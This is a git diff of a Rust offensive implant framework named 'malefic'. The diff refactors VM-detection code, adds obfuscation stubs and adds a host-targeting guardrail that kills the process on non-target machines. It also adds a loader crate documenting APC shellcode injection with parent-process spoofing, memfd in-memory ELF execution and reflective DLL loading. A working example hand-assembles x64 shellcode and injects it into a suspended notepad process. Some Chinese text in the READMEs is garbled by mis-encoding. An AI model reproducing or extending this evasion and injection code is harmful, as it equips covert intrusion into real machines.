cpuid_result.ecx.to_le_bytes(), cpuid_result.edx.to_le_bytes(), - ].concat(); - - Some(String::from_utf8_lossy(&vendor_bytes).trim_end_matches('\0').to_string()) + ] + .concat(); + + Some( + String::from_utf8_lossy(&vendor_bytes) + .trim_end_matches('\0') + .to_string(), + ) } } @@ -106,16 +111,21 @@ fn get_hypervisor_vendor() -> Option { } /// Perform CPU timing-based VM detection using the proven inside-vm algorithm -/// -/// 这个方法测é‡CPUID指令的执行时间,在VMä¸­é€šå¸¸ä¼šæ¯”ç‰©ç†æœºæ…¢ +/// +/// This method measures CPUID instruction execution time, which is usually slower in VMs than on physical machines #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] fn detect_vm_by_timing() -> Option> { // Compute cpuid cpu cycles average let mut tsc1: u64; let mut tsc2: u64; let mut cycles: Vec = vec![]; - let mut cpuid = CpuidResult { eax: 0, ebx: 0, ecx: 0, edx: 0 }; - + let mut cpuid = CpuidResult { + eax: 0, + ebx: 0, + ecx: 0, + edx: 0, + }; + // Perform measurements with outlier removal let (low, samples, high) = (5, 100, 5); for _ in 0..(low + samples + high) { @@ -126,7 +136,7 @@ fn detect_vm_by_timing() -> Option> { } cycles.push(tsc2 - tsc1); } - + unsafe { // Prevent compiler optimization std::ptr::read_volatile(&cpuid); @@ -139,7 +149,10 @@ fn detect_vm_by_timing() -> Option> { // VM detection threshold if avg > 1000 { - Some(vec![format!("CPU timing anomaly detected: {} cycles (threshold: 1000)", avg)]) + Some(vec![format!( + "CPU timing anomaly detected: {} cycles (threshold: 1000)", + avg + )]) } else { None } @@ -151,16 +164,16 @@ fn detect_vm_by_timing() -> Option> { None } -/// 严格的VM检测:åªä¾èµ–CPUID hypervisor检测 -/// -/// 这是é¿å…宿主机误报的最å¯é æ–¹æ³•ã€‚åªæœ‰åœ¨CPU真正è¿è¡Œåœ¨hypervisor下时 -/// CPUID指令æ‰ä¼šæŠ¥å‘Šhypervisor的存在。 +/// Strict VM detection: Only relies on CPUID hypervisor detection +/// +/// This is the most reliable method to avoid false positives on host machines. Only when the CPU +/// is truly running under a hypervisor will the CPUID instruction report the hypervisor's presence. pub fn detect_vm_framework() -> VmDetectionResult { - // 步骤1:检查是å¦å­˜åœ¨hypervisor (最å¯é çš„æ–¹æ³•) + // Step 1: Check if hypervisor exists (most reliable method) if let Some(vendor) = get_hypervisor_vendor() { let mut features = vec![format!("Hypervisor detected via CPUID: {}", vendor)]; - - // 步骤2:根æ®vendor字符串确定具体的VM框架 + + // Step 2: Determine specific VM framework based on vendor string if vendor.contains("VBoxVBoxVBox") { features.push(obfstr!("VirtualBox hypervisor signature").to_string()); return VmDetectionResult::detected(VmFramework::VirtualBox, features); @@ -177,21 +190,21 @@ pub fn detect_vm_framework() -> VmDetectionResult { features.push(obfstr!("Xen hypervisor signature").to_string()); return VmDetectionResult::detected(VmFramework::Xen, features); } else { - // 检测到hypervisor但䏿˜¯å·²çŸ¥çš„æ¡†æž¶ + // Detected hypervisor but not a known framework features.push(format!("Unknown hypervisor: {}", vendor)); return VmDetectionResult::detected(VmFramework::Unknown, features); } } - - // 步骤3:如果没有检测到hypervisor,å°è¯•CPUæ—¶åºæ£€æµ‹ä½œä¸ºæœ€åŽæ‰‹æ®µ + + // Step 3: If no hypervisor detected, try CPU timing detection as last resort #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] { if let Some(timing_features) = detect_vm_by_timing() { return VmDetectionResult::detected(VmFramework::Unknown, timing_features); } } - - // 步骤4:没有检测到任何VMç‰¹å¾ + + // Step 4: No VM features detected VmDetectionResult::new() } @@ -219,4 +232,4 @@ pub fn is_running_in_vm() -> bool { /// Legacy compatibility function - returns detected VM type pub fn get_detected_vm_type() -> Option { get_vm_framework_name() -} \ No newline at end of file +} diff --git a/malefic-crates/features/Cargo.toml b/malefic-crates/features/Cargo.toml new file mode 100644 index 0000000..9194609 --- /dev/null +++ b/malefic-crates/features/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "malefic-features" +version = "0.1.0" +edition = "2021" +description = "Unified feature hub for build-type, version, and runtime propagation" + +[features] +default = ["prebuild", "community", "runtime_tokio"] + +# Build type +source = [ + "malefic-os-win/source", + "malefic-gateway/source", +] +prebuild = [ + "malefic-os-win/prebuild", + "malefic-gateway/prebuild", +] + +# Version +community = [ + "malefic-os-win/community", + "malefic-gateway/community", +] + +# Runtime (exactly one should be enabled) +runtime_tokio = ["malefic-common/tokio"] +runtime_smol = ["malefic-common/smol"] +runtime_asyncstd = ["malefic-common/async-std"] + +[dependencies] +malefic-gateway = { workspace = true } +malefic-common = { workspace = true, default-features = false } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true, default-features = false } diff --git a/malefic-crates/features/src/lib.rs b/malefic-crates/features/src/lib.rs new file mode 100644 index 0000000..8b23139 --- /dev/null +++ b/malefic-crates/features/src/lib.rs @@ -0,0 +1,3 @@ +// malefic-features: Unified feature hub (Community Edition). +// This crate has no code — it exists solely to centralize +// source/prebuild/community/runtime feature propagation. diff --git a/malefic-crates/gateway/Cargo.toml b/malefic-crates/gateway/Cargo.toml new file mode 100644 index 0000000..f0930fc --- /dev/null +++ b/malefic-crates/gateway/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "malefic-gateway" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +# Build type (unified declaration — os-* crates handle actual implementation) +source = [] +prebuild = [] + +# Version +community = [] + +[dependencies] +malefic-macro = { path = "../macro", default-features = false } +nanorand = { workspace = true } diff --git a/malefic-crates/gateway/src/lib.rs b/malefic-crates/gateway/src/lib.rs new file mode 100644 index 0000000..02951ca --- /dev/null +++ b/malefic-crates/gateway/src/lib.rs @@ -0,0 +1,34 @@ +// malefic-gateway: Unified public API for the malefic framework (Community Edition). +// +// All downstream crates should depend on this crate instead of malefic-macro directly. +// Community mode provides stub implementations for obfuscation APIs. + +// --- Community mode: stub implementations --- +pub mod runtime; +pub mod traits; +pub mod secure {} + +// Re-export nanorand for generated code paths (always available) +pub use nanorand; + +/// Backward-compatible macro namespace: +/// `malefic_gateway::obfstr::obfstr!("...")` +pub mod obfstr { + pub use malefic_macro::obfstr; +} + +// Re-export all proc macros (directly from malefic-macro to avoid namespace conflicts) +pub use malefic_macro::flow; +pub use malefic_macro::include_encrypted; +pub use malefic_macro::junk; +pub use malefic_macro::lazy_static; +pub use malefic_macro::module_impl; +pub use malefic_macro::obf_bytes; +pub use malefic_macro::obf_int; +pub use malefic_macro::obf_stmts; +pub use malefic_macro::obf_string; +pub use malefic_macro::obfstr; +pub use malefic_macro::obfuscate; +pub use malefic_macro::ObfDebug; +pub use malefic_macro::Obfuscate; +pub use malefic_macro::ObfuscateBox; diff --git a/malefic-crates/gateway/src/runtime.rs b/malefic-crates/gateway/src/runtime.rs new file mode 100644 index 0000000..ebaa461 --- /dev/null +++ b/malefic-crates/gateway/src/runtime.rs @@ -0,0 +1,47 @@ +// Community stub runtime. +// +// These functions match the public API of `malefic-obfuscate::runtime`. +// In community mode, proc macros expand to no-op (no encryption), so these +// are never called at runtime. They exist only to satisfy the type system. + +pub fn aes_decrypt_string( + _ciphertext: &[u8], + _masked_key: &[u8; 32], + _key_mask: &[u8; 32], + _masked_iv: &[u8; 16], + _iv_mask: &[u8; 16], +) -> String { + unimplemented!("requires pro feature") +} + +pub fn aes_decrypt_bytes( + _ciphertext: &[u8], + _masked_key: &[u8; 32], + _key_mask: &[u8; 32], + _masked_iv: &[u8; 16], + _iv_mask: &[u8; 16], +) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn xor_decrypt_bytes(_ciphertext: &[u8], _masked_key: &[u8], _key_mask: &[u8]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn aes_encrypt_field(_plaintext: &[u8], _key: &[u8; 32], _iv: &[u8; 16]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn aes_decrypt_field(_ciphertext: &[u8], _key: &[u8; 32], _iv: &[u8; 16]) -> Vec { + unimplemented!("requires pro feature") +} + +pub fn random_iv() -> [u8; 16] { + [0u8; 16] +} + +pub fn zeroize_string(_s: &mut String) {} + +pub fn zeroize_vec(_v: &mut Vec) {} + +pub fn zeroize_num(_val: &mut T) {} diff --git a/malefic-crates/gateway/src/traits.rs b/malefic-crates/gateway/src/traits.rs new file mode 100644 index 0000000..93ae315 --- /dev/null +++ b/malefic-crates/gateway/src/traits.rs @@ -0,0 +1,19 @@ +/// Trait for types that can be obfuscated at the field level. +/// Implemented automatically by `#[derive(ObfuscateBox)]`. +pub trait ObfuscatedField { + /// Encrypt a value into its obfuscated representation. + fn obfuscate(value: T) -> Self; + /// Decrypt the obfuscated representation back to the original value. + fn deobfuscate(&self) -> T; +} + +/// Trait for structs whose fields can be XOR-toggled in-place for memory obfuscation. +/// +/// # Safety +/// After toggle, struct fields contain invalid data (String is not valid UTF-8, etc.). +/// Must use `Encrusted` wrapper to ensure fields are not accessed while toggled. +pub unsafe trait Obfuscatable { + /// XOR-toggle all fields in-place using the provided PRNG for key stream. + /// Calling twice with the same seed restores original values. + unsafe fn toggle_obfuscate(&mut self, rng: &mut nanorand::WyRand); +} diff --git a/malefic-crates/guardrail/Cargo.toml b/malefic-crates/guardrail/Cargo.toml new file mode 100644 index 0000000..cc5f732 --- /dev/null +++ b/malefic-crates/guardrail/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "malefic-guardrail" +version = "0.1.0" +edition = "2021" + +[dependencies] +malefic-sysinfo = { workspace = true } +malefic-config = { workspace = true } +regex = { workspace = true } diff --git a/malefic-crates/guardrail/README.md b/malefic-crates/guardrail/README.md new file mode 100644 index 0000000..3ca3716 --- /dev/null +++ b/malefic-crates/guardrail/README.md @@ -0,0 +1,70 @@ +# malefic-guardrail + +è¿è¡Œå‰çŽ¯å¢ƒéªŒè¯ä¸Žä¸»æœºæŒ‡çº¹æ£€æŸ¥ï¼Œç¡®ä¿ç¨‹åºä»…在符åˆé¢„期的目标主机上执行。 + +## 功能简介 + +- 基于主机指纹进行环境校验,ä¸åŒ¹é…æ—¶ç«‹å³ç»ˆæ­¢è¿›ç¨‹ +- 支æŒå››ç±»æ ¡éªŒç»´åº¦ï¼šIP 地å€ã€ç”¨æˆ·åã€ä¸»æœºåã€åŸŸå +- 支æŒé€šé…符模å¼åŒ¹é…(`*` 匹é…ä»»æ„字符åºåˆ—) +- æ”¯æŒ `require_all` 严格模å¼ï¼ˆå…¨éƒ¨ç»´åº¦å¿…é¡»é€šè¿‡ï¼‰ä¸Žå®½æ¾æ¨¡å¼ï¼ˆä»»ä¸€ç»´åº¦é€šè¿‡å³å¯ï¼‰ +- 所有校验规则为空时自动跳过检查 + +## 校验维度 + +| 维度 | é…置字段 | 说明 | +|------|----------|------| +| IP åœ°å€ | `ip_addresses` | æ ¡éªŒä¸»æœºç½‘ç»œæŽ¥å£ IP 是å¦åŒ¹é… | +| 用户å | `usernames` | æ ¡éªŒå½“å‰æ“ä½œç³»ç»Ÿç”¨æˆ·åæ˜¯å¦åŒ¹é… | +| 主机å | `server_names` | 校验主机 hostname 是å¦åŒ¹é… | +| 域å | `domains` | æ ¡éªŒä¸»æœºæ‰€å±žåŸŸåæ˜¯å¦åŒ¹é… | + +## 匹é…规则 + +- 空字符串 `""` —— 仅匹é…空值 +- `"*"` —— 匹é…ä»»æ„值 +- ä¸å« `*` 的字符串 —— ç²¾ç¡®åŒ¹é… +- å« `*` 的字符串 —— 通é…符匹é…,`*` 转æ¢ä¸ºæ­£åˆ™ `.*` + +## 执行逻辑 + +æ¯ä¸ªç»´åº¦ç‹¬ç«‹è®¡åˆ†ï¼ˆåŒ¹é…å¾— 1 分,满分 4 分): + +- **`require_all = true`**:四个维度全部通过(4 åˆ†ï¼‰æ‰æ”¾è¡Œ +- **`require_all = false`**:任一维度通过(>0 åˆ†ï¼‰å³æ”¾è¡Œ +- **校验失败**:调用 `std::process::exit(1)` 终止进程 + +è‹¥æŸä¸ªç»´åº¦çš„é…置列表为空,则该维度自动视为通过。 + +## 基本用法 + +```rust +use malefic_guardrail::Guardrail; +use malefic_sysinfo::SysInfo; + +// 采集当å‰ä¸»æœºä¿¡æ¯ +let sysinfo = SysInfo::collect(); + +// 执行环境校验,ä¸é€šè¿‡åˆ™è¿›ç¨‹é€€å‡º +Guardrail::check(sysinfo); +``` + +## é…置示例 + +```yaml +guardrail: + ip_addresses: + - "192.168.1.*" + - "10.0.0.100" + usernames: + - "admin" + server_names: + - "WORKSTATION-*" + domains: + - "corp.example.com" + require_all: true +``` + +## å‚考链接 + +- [regex crate](https://docs.rs/regex/latest/regex/) - Rust 正则表达å¼åº“ diff --git a/malefic/src/guardrail.rs b/malefic-crates/guardrail/src/lib.rs similarity index 82% rename from malefic/src/guardrail.rs rename to malefic-crates/guardrail/src/lib.rs index d1db9d3..5759425 100644 --- a/malefic/src/guardrail.rs +++ b/malefic-crates/guardrail/src/lib.rs @@ -1,11 +1,11 @@ -use malefic_helper::common::sysinfo::SysInfo; +use malefic_sysinfo::SysInfo; use regex::Regex; pub struct Guardrail; impl Guardrail { pub fn check(sysinfo: SysInfo) { - let config = &malefic_core::config::GUARDRAIL_CONFIG; + let config = &malefic_config::GUARDRAIL_CONFIG; if config.ip_addresses.is_empty() && config.usernames.is_empty() @@ -16,13 +16,13 @@ impl Guardrail { } let mut score = 0; - + fn check_patterns<'a, I>(patterns: &[String], values: I) -> bool where I: IntoIterator, { if patterns.is_empty() { - return true; + return true; } values .into_iter() @@ -30,11 +30,14 @@ impl Guardrail { } // IP - if check_patterns(&config.ip_addresses, sysinfo.ip_addresses.iter().map(|s| s.as_str())) { + if check_patterns( + &config.ip_addresses, + sysinfo.ip_addresses.iter().map(|s| s.as_str()), + ) { score += 1; } - // 用户å + // Username if let Some(os) = &sysinfo.os { if check_patterns(&config.usernames, std::iter::once(os.username.as_str())) { score += 1; @@ -50,11 +53,14 @@ impl Guardrail { score += 1; } } - - if check_patterns(&config.domains, std::iter::once(sysinfo.domain_name.as_str())) { + + if check_patterns( + &config.domains, + std::iter::once(sysinfo.domain_name.as_str()), + ) { score += 1; } - + let pass = (score == 4 && config.require_all) || (score > 0 && !config.require_all); if !pass { std::process::exit(1); diff --git a/malefic-crates/loader/Cargo.toml b/malefic-crates/loader/Cargo.toml new file mode 100644 index 0000000..be2dc87 --- /dev/null +++ b/malefic-crates/loader/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "malefic-loader" +version = "0.1.0" +edition = "2021" + +[features] +default = ["Win_Inject_APC"] +Win_Inject_APC = [] +Win_Inject_Fiber = [] +Win_Inject_Thread = [] + +[dependencies] +anyhow = { workspace = true } +malefic-gateway = { workspace = true } +malefic-common = { workspace = true } +malefic-features = { path = "../features" } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_LibraryLoader", + "Win32_System_Diagnostics_Debug", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } + +[build-dependencies] +bindgen = { workspace = true } diff --git a/malefic-crates/loader/README.md b/malefic-crates/loader/README.md new file mode 100644 index 0000000..75e0fa0 --- /dev/null +++ b/malefic-crates/loader/README.md @@ -0,0 +1,97 @@ +# malefic-loader + +跨平å°è¿è¡Œæ—¶ä»£ç æ³¨å…¥ä¸Ž shellcode 执行框架。 + +## 功能简介 + +- **Shellcode 注入执行**:支æŒå¤šç§æ³¨å…¥æŠ€æœ¯ï¼Œé€šè¿‡ feature åˆ‡æ¢æ³¨å…¥æ–¹å¼ +- **内存管ç†**:æä¾› `MaleficChunk` å†…å­˜å—æŠ½è±¡ï¼Œç»Ÿä¸€åˆ†é…ã€æƒé™è®¾ç½®ä¸Žé‡Šæ”¾æ“作 +- **热加载模å—**:è¿è¡Œæ—¶åЍæ€åŠ è½½ PE/DLL 模å—å¹¶è§£æžå¯¼å‡ºå‡½æ•° +- **è·¨å¹³å°æ”¯æŒ**:Windows 与 Linux å„自æä¾›å¹³å°åŽŸç”Ÿæ³¨å…¥å®žçŽ° + +## 平尿”¯æŒ + +### Windows + +| æ³¨å…¥æ–¹å¼ | 说明 | +|----------|------| +| APC (默认) | 基于 APC 队列的 shellcode æ³¨å…¥ï¼Œæ”¯æŒ inline 与 sacrifice è¿›ç¨‹ä¸¤ç§æ¨¡å¼ | +| Fiber | 基于纤程 (Fiber) çš„ shellcode 执行(已弃用) | +| Thread | 基于 CreateThread çš„ shellcode 执行(已弃用) | + +APC 模å¼ä¸‹æ”¯æŒçˆ¶è¿›ç¨‹æ¬ºéª— (`ppid`)ã€DLL 阻断 (`block_dll`)ã€è¾“出æ•获等高级选项。 + +### Linux + +| æ³¨å…¥æ–¹å¼ | 说明 | +|----------|------| +| memfd (默认) | 通过 `memfd_create` + `fexecve` 在内存中执行 ELF | +| pthread | 通过 `pthread_create` 执行 shellcode | +| spawn | 通过 `std::thread::spawn` 执行 shellcode | + +## Features + +| Feature | 说明 | +|---------|------| +| `source` | æºç ç¼–译模å¼ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `prebuild` | é¢„ç¼–è¯‘æ¨¡å¼ | +| `Win_Inject_APC` | Windows APC 注入(默认å¯ç”¨ï¼‰ | +| `Win_Inject_Fiber` | Windows Fiber 注入(已弃用) | +| `Win_Inject_Thread` | Windows Thread 注入(已弃用) | + +## 基本用法 + +### Shellcode 执行 (Windows APC) + +```rust +use malefic_loader::win::loader; + +unsafe { + let shellcode: Vec = vec![/* shellcode bytes */]; + let result = loader( + shellcode, + false, // is_need_sacrifice + std::ptr::null_mut(), // sacrifice_commandline + 0, // ppid + false, // block_dll + true, // need_output + 1, // loader_type: 1=InlineRX, 2=InlineRWX + ); +} +``` + +### 内存中执行 ELF (Linux memfd) + +```rust +use malefic_loader::linux::loader; + +unsafe { + let elf_bytes: Vec = std::fs::read("target_elf").unwrap(); + let output = loader(elf_bytes, true); +} +``` + +### 热加载 PE æ¨¡å— (Windows) + +```rust +use malefic_loader::hot_modules::{load_module, get_function_address}; + +unsafe { + let dll_bytes: Vec = std::fs::read("module.dll").unwrap(); + let module = load_module(dll_bytes, "module_name".to_string()).unwrap(); + let func = get_function_address(module, "exported_func"); +} +``` + +### å†…å­˜ç®¡ç† + +```rust +use malefic_loader::memory::{MaleficMemManager, malloc_and_set_memory}; + +let mut mgr = MaleficMemManager::default(); +unsafe { + let id = mgr.alloc(4096).unwrap(); + // 使用内存... + mgr.remove(id).unwrap(); +} +``` diff --git a/malefic-crates/loader/examples/test_inject.rs b/malefic-crates/loader/examples/test_inject.rs new file mode 100644 index 0000000..d7afe9b --- /dev/null +++ b/malefic-crates/loader/examples/test_inject.rs @@ -0,0 +1,189 @@ +//! Inject verification: injects shellcode that creates a file into a target process. +//! Run with: cargo run --example test_inject --features "Inject,source" +//! Requires administrator privileges. + +#[cfg(target_os = "windows")] +fn main() { + use windows::core::{PCSTR, PWSTR}; + use windows::Win32::Foundation::CloseHandle; + use windows::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}; + use windows::Win32::System::Threading::{ + CreateProcessW, TerminateProcess, CREATE_NO_WINDOW, CREATE_SUSPENDED, PROCESS_INFORMATION, + STARTUPINFOW, + }; + + const TEST_FILE: &str = "C:\\temp\\inject_test.txt"; + const TEST_CONTENT: &[u8] = b"inject ok"; + + // Ensure target directory exists + let _ = std::fs::create_dir_all("C:\\temp"); + let _ = std::fs::remove_file(TEST_FILE); + + // Resolve kernel32 API addresses + let kernel32 = unsafe { GetModuleHandleA(PCSTR(b"kernel32.dll\0".as_ptr())).unwrap() }; + let addr_create = + unsafe { GetProcAddress(kernel32, PCSTR(b"CreateFileA\0".as_ptr())).unwrap() as u64 }; + let addr_write = + unsafe { GetProcAddress(kernel32, PCSTR(b"WriteFile\0".as_ptr())).unwrap() as u64 }; + let addr_close = + unsafe { GetProcAddress(kernel32, PCSTR(b"CloseHandle\0".as_ptr())).unwrap() as u64 }; + + println!("CreateFileA @ 0x{:016x}", addr_create); + println!("WriteFile @ 0x{:016x}", addr_write); + println!("CloseHandle @ 0x{:016x}", addr_close); + + // Build shellcode + let shellcode = build_shellcode( + addr_create, + addr_write, + addr_close, + TEST_FILE.as_bytes(), + TEST_CONTENT, + ); + println!("shellcode size: {} bytes", shellcode.len()); + + // Spawn suspended notepad as target + let mut si: STARTUPINFOW = unsafe { std::mem::zeroed() }; + si.cb = std::mem::size_of::() as u32; + let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() }; + let mut cmd: Vec = "notepad.exe\0".encode_utf16().collect(); + + let ok = unsafe { + CreateProcessW( + None, + PWSTR(cmd.as_mut_ptr()), + None, + None, + false, + CREATE_SUSPENDED | CREATE_NO_WINDOW, + None, + None, + &si, + &mut pi, + ) + }; + if ok.is_err() { + eprintln!("CreateProcess failed"); + return; + } + let pid = pi.dwProcessId; + println!("target pid: {}", pid); + + // Inject + match malefic_os_win::kit::inject::remote_inject(&shellcode, pid) { + Ok(msg) => println!("inject result: {}", msg), + Err(e) => { + eprintln!("inject failed: {}", e); + unsafe { + TerminateProcess(pi.hProcess, 1).ok(); + } + return; + } + } + + // Resume the main thread so the process stays alive while our thread runs + unsafe { + windows::Win32::System::Threading::ResumeThread(pi.hThread); + } + + // Wait for shellcode to execute + std::thread::sleep(std::time::Duration::from_secs(2)); + + // Verify + if std::path::Path::new(TEST_FILE).exists() { + let content = std::fs::read_to_string(TEST_FILE).unwrap_or_default(); + println!("PASS - file created, content: \"{}\"", content); + } else { + println!("FAIL - file not created"); + } + + // Cleanup + unsafe { + TerminateProcess(pi.hProcess, 0).ok(); + CloseHandle(pi.hProcess).ok(); + CloseHandle(pi.hThread).ok(); + } + let _ = std::fs::remove_file(TEST_FILE); +} + +/// Build x64 shellcode: CreateFileA -> WriteFile -> CloseHandle +fn build_shellcode( + create_file: u64, + write_file: u64, + close_handle: u64, + filename: &[u8], + content: &[u8], +) -> Vec { + let mut sc = Vec::with_capacity(256); + + // Offsets (pre-calculated from fixed code layout): + // code ends at 0x84, filename at 0x84, content at 0x84+filename.len()+1 + let filename_with_nul = filename.len() + 1; // +1 for \0 + let content_start = 0x84u32 + filename_with_nul as u32; + + // lea rcx [rip+off] at 0x05, next_ip=0x0C => off = 0x84 - 0x0C + let fname_off: u32 = 0x84 - 0x0C; + // je done at 0x40, next_ip=0x42, done=0x7E => off = 0x7E - 0x42 + let je_off: u8 = 0x7E - 0x42; + // lea rdx [rip+off] at 0x48, next_ip=0x4F => off = content_start - 0x4F + let content_off: u32 = content_start - 0x4F; + + // -- Code section -- + sc.push(0x53); // push rbx + sc.extend_from_slice(&[0x48, 0x83, 0xEC, 0x60]); // sub rsp, 0x60 + + // CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) + sc.extend_from_slice(&[0x48, 0x8D, 0x0D]); // lea rcx, [rip+off] + sc.extend_from_slice(&fname_off.to_le_bytes()); + sc.extend_from_slice(&[0xBA, 0x00, 0x00, 0x00, 0x40]); // mov edx, 0x40000000 + sc.extend_from_slice(&[0x45, 0x33, 0xC0]); // xor r8d, r8d + sc.extend_from_slice(&[0x45, 0x33, 0xC9]); // xor r9d, r9d + sc.extend_from_slice(&[0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00]); // mov [rsp+0x20], 2 + sc.extend_from_slice(&[0xC7, 0x44, 0x24, 0x28, 0x80, 0x00, 0x00, 0x00]); // mov [rsp+0x28], 0x80 + sc.extend_from_slice(&[0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00]); // mov qword [rsp+0x30], 0 + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&create_file.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + sc.extend_from_slice(&[0x48, 0x83, 0xF8, 0xFF]); // cmp rax, -1 + sc.extend_from_slice(&[0x74, je_off]); // je done + + sc.extend_from_slice(&[0x48, 0x89, 0xC3]); // mov rbx, rax + + // WriteFile(handle, content, len, &written, NULL) + sc.extend_from_slice(&[0x48, 0x89, 0xD9]); // mov rcx, rbx + sc.extend_from_slice(&[0x48, 0x8D, 0x15]); // lea rdx, [rip+off] + sc.extend_from_slice(&content_off.to_le_bytes()); + sc.extend_from_slice(&[0x41, 0xB8]); // mov r8d, + sc.extend_from_slice(&(content.len() as u32).to_le_bytes()); + sc.extend_from_slice(&[0x4C, 0x8D, 0x4C, 0x24, 0x40]); // lea r9, [rsp+0x40] + sc.extend_from_slice(&[0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00]); // mov qword [rsp+0x20], 0 + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&write_file.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + // CloseHandle(handle) + sc.extend_from_slice(&[0x48, 0x89, 0xD9]); // mov rcx, rbx + sc.extend_from_slice(&[0x48, 0xB8]); // movabs rax, + sc.extend_from_slice(&close_handle.to_le_bytes()); + sc.extend_from_slice(&[0xFF, 0xD0]); // call rax + + // done: + sc.extend_from_slice(&[0x48, 0x83, 0xC4, 0x60]); // add rsp, 0x60 + sc.push(0x5B); // pop rbx + sc.push(0xC3); // ret + + assert_eq!(sc.len(), 0x84, "code section size mismatch"); + + // -- Data section -- + sc.extend_from_slice(filename); + sc.push(0x00); // null terminator + sc.extend_from_slice(content); + + sc +} + +#[cfg(not(target_os = "windows"))] +fn main() { + eprintln!("This test only runs on Windows"); +} diff --git a/malefic-crates/loader/src/hot_modules.rs b/malefic-crates/loader/src/hot_modules.rs new file mode 100644 index 0000000..7081e7e --- /dev/null +++ b/malefic-crates/loader/src/hot_modules.rs @@ -0,0 +1,121 @@ +#[cfg(target_os = "windows")] +pub use malefic_os_win::types::DllMain; + +// All kit-dependent functions are grouped here. +#[cfg(target_os = "windows")] +mod kit_ops { + use core::{ffi::c_void, ptr::null_mut}; + use malefic_common::errors::CommonError::{self, ArgsError}; + use malefic_gateway::obfstr; + + pub unsafe fn get_function_address( + module_base: *const c_void, + function_name: &str, + ) -> *const c_void { + malefic_os_win::kit::apis::m_get_func_addr_with_module_base( + module_base, + function_name.as_bytes(), + ) + } + + pub unsafe fn load_module(bins: Vec, bundle: String) -> Result<*const c_void, CommonError> { + use malefic_os_win::kit::MaleficModule; + + if bins.is_empty() || bundle.is_empty() { + return Err(ArgsError(obfstr!("bins or bundle is empty :)").to_string())); + } + malefic_common::debug!("[+] load module {}, len: {}", bundle, bins.len()); + + let dark_module = malefic_os_win::kit::pe::load_pe(bins, None, None); + if dark_module.is_null() { + return Err(ArgsError("dark module load failed!".to_string())); + } + let module = dark_module as *const MaleficModule; + let module_base = (*module).new_module; + let entry_point = (*module).entry_point; + if module_base.is_null() || entry_point.is_null() { + return Err(ArgsError( + "dark module module base / entry point is null!".to_string(), + )); + } + let _ = core::mem::transmute::(entry_point as usize)( + module_base as _, + 1, + null_mut(), + ); + Ok(dark_module) + } + + pub unsafe fn unload_pe(module: *const c_void) { + if module.is_null() { + return; + } + malefic_os_win::kit::pe::unload_pe(module as _); + } + + /// Unload a PE module without calling TLS callbacks. + /// + /// Use this for Rust DLLs where DLL_PROCESS_DETACH triggers TLS cleanup + /// that can stack overflow in PE-memory-loaded modules. + /// Only unregisters exceptions and frees memory. + pub unsafe fn unload_pe_no_tls(module: *const c_void) { + if module.is_null() { + return; + } + malefic_os_win::kit::pe::unload_pe_no_tls(module as _); + } + + /// Find a named export in a loaded PE module. + /// + /// Returns the function pointer or `None` if the export doesn't exist. + /// This is used to probe for the new runtime protocol (`rt_abi_version`) + /// before falling back to the legacy `register_modules` path. + pub unsafe fn find_export(module: *const c_void, name: &str) -> Option<*const c_void> { + use malefic_os_win::kit::MaleficModule; + let module: *const MaleficModule = module as _; + if module.is_null() || (*module).export_func.is_empty() { + return None; + } + for i in (*module).export_func.iter() { + if i.0 == name { + return Some(i.1 as *const c_void); + } + } + None + } + + pub unsafe fn call_fresh_modules(module: *const c_void) -> Option<*const c_void> { + use malefic_os_win::kit::MaleficModule; + let module: *const MaleficModule = module as _; + if module.is_null() { + return None; + } + if (*module).export_func.is_empty() { + return None; + } + for i in (*module).export_func.iter() { + if i.0 == obfstr!("register_modules") { + return Some(i.1 as *const c_void); + } + } + None + } +} + +#[cfg(target_os = "windows")] +pub use kit_ops::*; + +#[cfg(target_family = "unix")] +pub unsafe fn load_module( + _bins: Vec, + _bundle: String, +) -> Result<*const core::ffi::c_void, malefic_common::errors::CommonError> { + todo!() +} + +#[cfg(target_family = "unix")] +pub unsafe fn call_fresh_modules( + _module: *const core::ffi::c_void, +) -> Option<*const core::ffi::c_void> { + todo!() +} diff --git a/malefic-crates/loader/src/lib.rs b/malefic-crates/loader/src/lib.rs new file mode 100644 index 0000000..c428745 --- /dev/null +++ b/malefic-crates/loader/src/lib.rs @@ -0,0 +1,7 @@ +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +pub mod hot_modules; +pub mod memory; diff --git a/malefic-helper/src/linux/loader/memfd.rs b/malefic-crates/loader/src/linux/memfd.rs similarity index 77% rename from malefic-helper/src/linux/loader/memfd.rs rename to malefic-crates/loader/src/linux/memfd.rs index fe382c0..3de5de2 100644 --- a/malefic-helper/src/linux/loader/memfd.rs +++ b/malefic-crates/loader/src/linux/memfd.rs @@ -2,20 +2,22 @@ use to run elf in memory */ -use crate::common::memory::MaleficChunk; +use crate::memory::MaleficChunk; +use 